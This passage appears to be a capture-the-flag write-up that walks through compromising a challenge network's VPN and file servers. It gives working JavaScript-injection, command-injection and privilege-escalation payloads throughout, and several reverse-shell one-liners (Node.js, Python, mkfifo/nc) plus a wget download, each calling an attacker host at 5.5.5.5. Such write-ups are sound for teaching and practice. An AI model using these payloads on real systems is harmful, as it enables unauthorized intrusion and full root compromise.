[+] eversec.cloud A: 157.245.212.161
[*] querying DNS CNAME records for eversec.cloud
[*] querying DNS NS records for eversec.cloud
[+] eversec.cloud NS: ns3.digitalocean.com.
[+] eversec.cloud NS: ns1.digitalocean.com.
[+] eversec.cloud NS: ns2.digitalocean.com.
[*] querying DNS MX records for eversec.cloud
[*] querying DNS SOA records for eversec.cloud
[+] eversec.cloud SOA: ns1.digitalocean.com.
[*] querying DNS TXT records for eversec.cloud
[+] eversec.cloud TXT: S3arch1ngWithMyG00dEy3Clo$ed
[*] querying DNS SRV records for eversec.cloud

[+] dev.eversec.cloud A: 157.245.212.161
[+] files.eversec.cloud A: 167.172.25.140
[+] ftp.eversec.cloud A: 167.172.25.140
[+] staging.eversec.cloud A: 45.55.72.95
[+] www.eversec.cloud A: 157.245.212.161

Metasploit identified a large number of subdomains, but most of them we already knew about from spidering. That being said, I had not encountered staging.eversec.cloud, but this site just redirected to a Stars Wars YouTube clip with the description “Almost there”, which was a hint that we should continue to enumerate for subdomains, so let’s check for any subdomains of staging.eversec.cloud.

msf5 auxiliary(gather/enum_dns) > set DOMAIN staging.eversec.cloud
DOMAIN => staging.eversec.cloud
msf5 auxiliary(gather/enum_dns) > run

[*] querying DNS NS records for staging.eversec.cloud
[+] staging.eversec.cloud A: 45.55.72.95
[*] querying DNS CNAME records for staging.eversec.cloud
[+] staging.eversec.cloud CNAME: alias.redirect.name.
[*] querying DNS NS records for staging.eversec.cloud
[*] querying DNS MX records for staging.eversec.cloud
[*] querying DNS SOA records for staging.eversec.cloud
[*] querying DNS TXT records for staging.eversec.cloud
[*] querying DNS SRV records for staging.eversec.cloud
[+] vpn01.staging.eversec.cloud A: 64.225.25.23

Ok nice, we found another host (vpn01.staging.eversec.cloud), which appears to be a VPN site. Browsing through the site using a browser, we don’t find that much functionality exposed by the web application and the login page appears to be broken.

There is a /locations/ endpoint that returns a list of regions that are supported.

GET /locations/ HTTP/1.1
Host: vpn01.staging.eversec.cloud
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://vpn01.staging.eversec.cloud/
Connection: close
Cache-Control: max-age=0

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 105
Date: Sun, 12 Jan 2020 16:26:26 GMT
Connection: close

[{"name":"US-EAST"},{"name":"US-WEST"},{"name":"NA-1"},{"name":"NA-2"},{"name":"EXT-1"},{"name":"EXT-2"}]

Based on the returned X-Powered-By HTTP response header, we know we are dealing with a Express-based web application (programmed in Node.js). At this point I figured we needed to find a vulnerability in this endpoint.

After some simple character fuzzing, we can cause the application to generate a stack trace (SyntaxError: Invalid regular expression flags).

GET /locations/test%2f HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 899
Date: Sun, 12 Jan 2020 16:27:03 GMT
Connection: close

SyntaxError: Invalid regular expression flags
    at Object.stringToRegexp [as query] (/home/evrs/vpn-api/lib/locations.js:48:35)
    at /home/evrs/vpn-api/routes/index.js:34:18
    at Layer.handle [as handle_request] (/home/evrs/vpn-api/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/evrs/vpn-api/node_modules/express/lib/router/route.js:137:13)
...

What does this mean? Can we manipulate a regular expression that is executed server-side? In PHP, there is a deprecated regex modifier that can be used with the preg_replace function to execute PHP code within the regular expression, so I thought we might be dealing with a similar vulnerability except in a Node.js web application, but to my knowledge JavaScript does not appear to support an evaluate flag.

Or we could be dealing with a server-side JavaScript injection vulnerability where the injection point is within a regular expression. For example we can send test/i;// to the server to see what happens.

GET /locations/test%2fi%3b%2f%2f HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
...

[{"name":"US-EAST"},{"name":"US-WEST"},{"name":"NA-1"},{"name":"NA-2"},{"name":"EXT-1"},{"name":"EXT-2"}]

Interesting, no error, maybe our theory was correct. I also noted that we can inject in a variable assignment with no error (test/i; var x = 5; //).

GET /locations/test%2Fi%3B%20var%20x%20%3D%205%3B%20%2F%2F HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
...

[{"name":"US-EAST"},{"name":"US-WEST"},{"name":"NA-1"},{"name":"NA-2"},{"name":"EXT-1"},{"name":"EXT-2"}]

We can also trigger other types of errors, like a ReferenceError by sending test/i; var x = junk; //, which is expected because we are attempting to assign junk, which doesn’t exist, to x in a variable assignment.

GET /locations/test%2Fi%3B%20var%20x%20%3D%20junk%3B%20%2F%2F HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
...

ReferenceError: junk is not defined
    at eval (eval at stringToRegexp (/home/evrs/vpn-api/lib/locations.js:48:14), <anonymous>:1:19)
    at Object.stringToRegexp [as query] (/home/evrs/vpn-api/lib/locations.js:48:14)
...

We can also successfully reference Node.js objects, such as the console object.

GET /locations/test%2Fi%3B%20var%20x%20%3D%20console%3B%20%2F%2F HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
...

[{"name":"US-EAST"},{"name":"US-WEST"},{"name":"NA-1"},{"name":"NA-2"},{"name":"EXT-1"},{"name":"EXT-2"}]

But for some reason, if the input contained periods or parentheses, then the web application would return a SyntaxError, so calling functions didn’t seem possible initially. For example, sending test/i; console.log('hello'); // caused the application to generate a stack trace.

GET /locations/test%2Fi%3B%20console.log%28%27hello%27%29%3B%20%2F%2F HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
...

SyntaxError: Invalid or unexpected token
    at Object.stringToRegexp [as query] (/home/evrs/vpn-api/lib/locations.js:48:35)
    at /home/evrs/vpn-api/routes/index.js:34:18
    at Layer.handle [as handle_request] (/home/evrs/vpn-api/node_modules/express/lib/router/layer.js:95:5)
...

I started to search the Internet for similar examples of a server-side JavaScript injection vulnerability related to regular expressions and I found this writeup, which describes an applicatoin that evaluates user input to create a RegExp object and uses it to find elements in an array.

return eval(prefix + output + suffix); // we control output value

I was pretty sure that I was dealing with a similar injection point, so I went ahead and built a modified version of their example exploit and it worked. First put together some JavaScript code that triggers the reverse shell connect back command (alter the IP address to the correct attacking machine).

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4444, "5.5.5.5", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Then ASCII hex encode the JavaScript code.

2866756e6374696f6e28297b0a20202020766172206e6574203d207265717569726528226e657422292c0a20202020202020206370203d207265717569726528226368696c645f70726f6365737322292c0a20202020202020207368203d2063702e737061776e28222f62696e2f7368222c205b5d293b0a2020202076617220636c69656e74203d206e6577206e65742e536f636b657428293b0a20202020636c69656e742e636f6e6e65637428343434342c2022352e352e352e35222c2066756e6374696f6e28297b0a2020202020202020636c69656e742e706970652873682e737464696e293b0a202020202020202073682e7374646f75742e7069706528636c69656e74293b0a202020202020202073682e7374646572722e7069706528636c69656e74293b0a202020207d293b0a2020202072657475726e202f612f3b0a7d2928293b

Build some more JavaScript code that will decode the hex encoded string, convert it into a Buffer object, and then pass it to eval.

["./;eval(new Buffer('2866756e6374696f6e28297b0a20202020766172206e6574203d207265717569726528226e657422292c0a20202020202020206370203d207265717569726528226368696c645f70726f6365737322292c0a20202020202020207368203d2063702e737061776e28222f62696e2f7368222c205b5d293b0a2020202076617220636c69656e74203d206e6577206e65742e536f636b657428293b0a20202020636c69656e742e636f6e6e65637428343434342c2022352e352e352e35222c2066756e6374696f6e28297b0a2020202020202020636c69656e742e706970652873682e737464696e293b0a202020202020202073682e7374646f75742e7069706528636c69656e74293b0a202020202020202073682e7374646572722e7069706528636c69656e74293b0a202020207d293b0a2020202072657475726e202f612f3b0a7d2928293b','hex').toString());//*"]

Execute the following command to catch the shell on our attacking machine.

$ nc -lvp 4444
listening on [any] 4444 ...

And then send out the final payload (URL encoded) to the target web application.

GET /locations/%5b%22%2e%2f%3b%65%76%61%6c%28%6e%65%77%20%42%75%66%66%65%72%28%27%32%38%36%36%37%35%36%65%36%33%37%34%36%39%36%66%36%65%32%38%32%39%37%62%30%61%32%30%32%30%32%30%32%30%37%36%36%31%37%32%32%30%36%65%36%35%37%34%32%30%33%64%32%30%37%32%36%35%37%31%37%35%36%39%37%32%36%35%32%38%32%32%36%65%36%35%37%34%32%32%32%39%32%63%30%61%32%30%32%30%32%30%32%30%32%30%32%30%32%30%32%30%36%33%37%30%32%30%33%64%32%30%37%32%36%35%37%31%37%35%36%39%37%32%36%35%32%38%32%32%36%33%36%38%36%39%36%63%36%34%35%66%37%30%37%32%36%66%36%33%36%35%37%33%37%33%32%32%32%39%32%63%30%61%32%30%32%30%32%30%32%30%32%30%32%30%32%30%32%30%37%33%36%38%32%30%33%64%32%30%36%33%37%30%32%65%37%33%37%30%36%31%37%37%36%65%32%38%32%32%32%66%36%32%36%39%36%65%32%66%37%33%36%38%32%32%32%63%32%30%35%62%35%64%32%39%33%62%30%61%32%30%32%30%32%30%32%30%37%36%36%31%37%32%32%30%36%33%36%63%36%39%36%35%36%65%37%34%32%30%33%64%32%30%36%65%36%35%37%37%32%30%36%65%36%35%37%34%32%65%35%33%36%66%36%33%36%62%36%35%37%34%32%38%32%39%33%62%30%61%32%30%32%30%32%30%32%30%36%33%36%63%36%39%36%35%36%65%37%34%32%65%36%33%36%66%36%65%36%65%36%35%36%33%37%34%32%38%33%34%33%34%33%34%33%34%32%63%32%30%32%32%33%35%32%65%33%35%32%65%33%35%32%65%33%35%32%32%32%63%32%30%36%36%37%35%36%65%36%33%37%34%36%39%36%66%36%65%32%38%32%39%37%62%30%61%32%30%32%30%32%30%32%30%32%30%32%30%32%30%32%30%36%33%36%63%36%39%36%35%36%65%37%34%32%65%37%30%36%39%37%30%36%35%32%38%37%33%36%38%32%65%37%33%37%34%36%34%36%39%36%65%32%39%33%62%30%61%32%30%32%30%32%30%32%30%32%30%32%30%32%30%32%30%37%33%36%38%32%65%37%33%37%34%36%34%36%66%37%35%37%34%32%65%37%30%36%39%37%30%36%35%32%38%36%33%36%63%36%39%36%35%36%65%37%34%32%39%33%62%30%61%32%30%32%30%32%30%32%30%32%30%32%30%32%30%32%30%37%33%36%38%32%65%37%33%37%34%36%34%36%35%37%32%37%32%32%65%37%30%36%39%37%30%36%35%32%38%36%33%36%63%36%39%36%35%36%65%37%34%32%39%33%62%30%61%32%30%32%30%32%30%32%30%37%64%32%39%33%62%30%61%32%30%32%30%32%30%32%30%37%32%36%35%37%34%37%35%37%32%36%65%32%30%32%66%36%31%32%66%33%62%30%61%37%64%32%39%32%38%32%39%33%62%27%2c%27%68%65%78%27%29%2e%74%6f%53%74%72%69%6e%67%28%29%29%3b%2f%2f%2a%22%5d HTTP/1.1
Host: vpn01.staging.eversec.cloud
...

HTTP/1.1 200 OK
...

[{"name":"US-EAST"},{"name":"US-WEST"},{"name":"NA-1"},{"name":"NA-2"},{"name":"EXT-1"},{"name":"EXT-2"}]

We received a connect back and we can now grab the foothold flag.

$ nc -lvp 4444
...
id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs)
ls
deareversec.txt
vpn-api
cat deareversec.txt
ULetMeD0wn4t3hL@s7T1m3

VPN External - Root

Let’s check if the evrs user can use the sudo command to execute commands as another user.

$ sudo -l
Matching Defaults entries for evrs on eversec-vpn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User evrs may run the following commands on eversec-vpn:
    (root) NOPASSWD: /evrclient

Looks like we can execute the /evrclient command as the root user. The evrclient turned out to be a Node.js based shell script.

file /evrclient
/evrclient: a /usr/bin/env node script, ASCII text executable

cat /evrclient
#!/usr/bin/env node

var exec = require('child_process').exec,
    everbase;

process.argv.forEach(function(val, index, array) {
  if (process.argv.length < 3) {
    console.log("Missing required command");
    console.log("Ex: ./evrclient 'ODAsIDgxLCAxMDUsIDk5LCAxMDksIDExNCwgOTcsIDUwLCAxMTEsIDg0LCAxMDQsIDg4LCAxMTk=' (runs the command whoami)");
  } else if (index == 2) {
    everbase = val;
  }
});

function server(cmdRecBase) {
  var arrayString = new Buffer(cmdRecBase, 'base64').toString('ascii');

  var cmdRec = arrayString.split(',').map(function(item) {
    return parseInt(item, 10);
  });
  var p = [];

  for (i = 0; i < cmdRec.length; i++) {
    if ((i % 2)) {

    } else {
      p.push(cmdRec[i]);
    }
  }
  p.shift();
  p.reverse();

  cmd = String.fromCharCode.apply(null, p);
  console.log("Executing "+cmd);
  exec(cmd, function (error, stdout, stderr) {
      console.log(stdout);
  });
}

server(everbase);

The script is nice enough to give us example command-line arguments that will cause the script to execute the whoami command.

./evrclient 'ODAsIDgxLCAxMDUsIDk5LCAxMDksIDExNCwgOTcsIDUwLCAxMTEsIDg0LCAxMDQsIDg4LCAxMTk='

The script will basically accept a base64 encoded string, base64 decode the string, decimal decode the string, reverse the string, drop every other character in the string, and then execute the string as an OS command. We can work through the provided example.

ODAsIDgxLCAxMDUsIDk5LCAxMDksIDExNCwgOTcsIDUwLCAxMTEsIDg0LCAxMDQsIDg4LCAxMTk=

Base64 decode the string and we acquire a comma-delimited list of integers.

80, 81, 105, 99, 109, 114, 97, 50, 111, 84, 104, 88, 119

Decimal decode the string.

PQicmra2oThXw

Reverse the string.

wXhTo2armciQP

Ignore every other character and drop the final character.

whoami

Now that we have a basic understanding of how the evrclient script works, we should be able to abuse it to get a root shell. First create a shell script with the reverse shell connect back command (alter the IP address to your attacking machine).

#!/bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.5.5.5",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Drop it on the VPN server in the /tmp/s file.

echo 'IyEvYmluL3NoCnB5dGhvbiAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjUuNS41LjUiLDgwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn' | base64 --decode > /tmp/s; chmod +x /tmp/s;

Execute the following command to catch the shell on our attacking machine.

# nc -lvp 80
listening on [any] 80 ...

And then let’s invoke the evrclient script with sudo and provide an argument, which will cause the script to execute /tmp/s

sudo /evrclient 'ODAsIDg0LCAxMTUsIDg0LCA0NywgODQsIDExMiwgODQsIDEwOSwgODQsIDExNiwgODgsIDQ3'

Nice, we received a connection back from the VPN server as the root user, so let’s grab the root flag.

# nc -lvp 80
listening on [any] 80 ...
...
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

# ls /root
lol.txt

# cat /root/lol.txt
3vrSecWuzK00l41NiGh7

VPN Internal

VPN Internal - Root

After we compromised the Internet-facing VPN server, I noted an interesting host listed in the /etc/hosts file.

cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.2.1.101  eversec-files
10.2.1.33 eversec-vpn

We are currently on the eversec-vpn host, but we likely need to break into the eversec-files host next. Since nc is not already installed on the eversec-vpn host, I downloaded it from my attacking machine so that I could quickly perform some basic port scans.

$ pwd
/tmp

$ wget http://5.5.5.5/nc

$ chmod +x nc

Using nc to perform a port scan, shows that port 1337, 445, and 139 are open on the eversec-files host.

$ ./nc -zv eversec-files 1-65535
eversec-files [10.2.1.101] 1337 (?) open
eversec-files [10.2.1.101] 445 (microsoft-ds) open
eversec-files [10.2.1.101] 139 (netbios-ssn) open

Port 445 and 139 are related to a SMB service and the 1337 port is used to serve the “Eversec Network Logger”.

./nc eversec-files 1337
Eversec Network Logger v0.9
Enter 'R' to read the log, or 'W' to write to it: W
Enter a title for your log message: test
Enter your log message: test
Message saved!

./nc eversec-files 1337
Eversec Network Logger v0.9
Enter 'R' to read the log, or 'W' to write to it: R
test: test

Last year, there was a privilege escalation challenge that involved in exploiting a buffer overflow in a setuid executable named elogger so I initially thought that I would have to download the target executable via the SMB service and then exploit a remote buffer overflow vulnerability to gain access to the eversec-files host, but it turned out that the Eversec Network Logger service was also vulnerable to remote OS command injection attacks.

We can connect to the logging service using nc and enter in a logging message of test$(id) and then connect again to view the output of the id command executing on the eversec-files host. Note the testuid=0(root) (truncated output) in the following command snippet.

./nc eversec-files 1337
Eversec Network Logger v0.9
Enter 'R' to read the log, or 'W' to write to it: W
Enter a title for your log message: test
Enter your log message: test$(id)
Message saved!

./nc eversec-files 1337
Eversec Network Logger v0.9
Enter 'R' to read the log, or 'W' to write to it: R
test: test
test: testuid=0(root)

Ok time to setup a reverse shell. Execute the following command to catch the shell on our attacking machine.

# nc -lvp 80
listening on [any] 80 ...

Next connect to the Eversec Network Logger service with nc and execute the reverse shell connect back command (adjust the IP address to your attacking machine).

./nc eversec-files 1337
Eversec Network Logger v0.9
Enter 'R' to read the log, or 'W' to write to it: W
Enter a title for your log message: test
Enter your log message: giveshell$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 5.5.5.5 80 >/tmp/f)

And, we now have a root shell on the eversec-files host. Grab the flag and party hard.

# nc -lvp 80
listening on [any] 80 ...
...
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

# ls /root
congrats.txt
start.sh

# cat /root/congrats.txt
C0NGR4TUR4T1ON
THIS STORY IS HAPPY END.
THANK YOU.